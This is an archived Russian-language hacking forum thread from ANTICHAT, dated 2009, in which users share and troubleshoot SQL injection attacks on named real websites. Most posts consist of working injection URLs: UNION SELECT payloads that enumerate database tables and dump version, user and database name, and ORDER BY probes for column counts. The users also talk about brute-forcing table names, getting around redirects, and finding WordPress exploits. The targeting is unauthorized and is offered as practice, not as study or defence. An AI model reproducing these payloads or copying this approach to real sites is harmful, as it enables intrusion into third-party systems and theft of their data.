ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
29.01.2009, 17:19
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549
Репутация:
1318
|
|
На будущее, когда лазишь по базе, старайся выбирать те таблицы, которые лежат в контексте того юзера, под которым работает бажное приложение:
http://www.rfbd.ru/info.php?id=370®ion=59&rubrika=-9999+UNION+SELECT+1,CONCAT_WS(0x3a,table_schema,ta ble_name)+FROM+information_schema.tables+WHERE+tab le_schema=DATABASE()+LIMIT+0,1--+
|
|
|
29.01.2009, 17:36
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
http://www.lider-grup.ru/news.php?newsid=-33+union+select+1,2,concat_ws(0x3a,version(),user( ),database()),4/*
Сбрутил только таблицу новостей.У кого есть хорошие словари,пробегитесь =_=,а то я ф панике.
|
|
|
|
29.01.2009, 18:41
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
Провел на форуме:
227123
Репутация:
122
|
|
Сообщение от Велемир
http://www.lider-grup.ru/news.php?newsid=-33+union+select+1,2,concat_ws(0x3a,version(),user( ),database()),4/*
Сбрутил только таблицу новостей.У кого есть хорошие словари,пробегитесь =_=,а то я ф панике.
а чем брутиш?
|
|
|
|
30.01.2009, 01:39
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Сообщение от TELO
а чем брутиш?
А это имеет значение ? Работает же.
|
|
|
|
30.01.2009, 03:16
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
Провел на форуме:
227123
Репутация:
122
|
|
Сообщение от Велемир
А это имеет значение ? Работает же.
просто спросил....вот у меня нет брута..хотел узнать где взял.
Мужики, а как узнать количество столбцов,когда
Код:
http://photo.gala.net/index.php?action=view&id=120141026%20order%20by%2011%20--
показывает не полный вывод страницы..но вывод,а
Код:
http://photo.gala.net/index.php?action=view&id=120141026%20order%20by%205%20--
полный
так как order by 12 воще ничего не выводит
и в том и в том случае не видно названия столбцов
(-)пробовал
и ещё вопрос,если при вставлянии кавычки перебрасывает на главную, это скуль? Если да,тот остановить переброс?
Вот пример:
Код:
http://sinelnikovo.org.ua/viewpage.php?page_id=21'
а вот ещё вопросег,есть скуль:
Код:
http://www.bisound.com/index.php?name=Files&op=view_file&id=8533321%20order%20by%2032%20--
а при union select перебрасівает на главную
Последний раз редактировалось TELO; 30.01.2009 в 03:57..
|
|
|
|
29.01.2009, 18:36
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479
Репутация:
1809
|
|
Господа, интересуют уязвимости WordPress, что кто может посоветовать?
|
|
|
|
29.01.2009, 18:38
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме:
7229141
Репутация:
3099
|
|
Сообщение от mff
Господа, интересуют уязвимости WordPress, что кто может посоветовать?
милворм 
|
|
|
|
29.01.2009, 18:43
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479
Репутация:
1809
|
|
http://www.milw0rm.com/ ? Что то ничего там не нашел  |
|
|
|
29.01.2009, 18:47
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
Провел на форуме:
7229141
Репутация:
3099
|
|
Сообщение от mff
http://www.milw0rm.com/ ? Что то ничего там не нашел Ну раз не нашел, то качай исходник и фперед
|
|
|
|
29.01.2009, 18:49
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
Провел на форуме:
227123
Репутация:
122
|
|
http://runnercat.org.ua/page.php?id=13172%20order%20by%201%20--
а что дальше?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид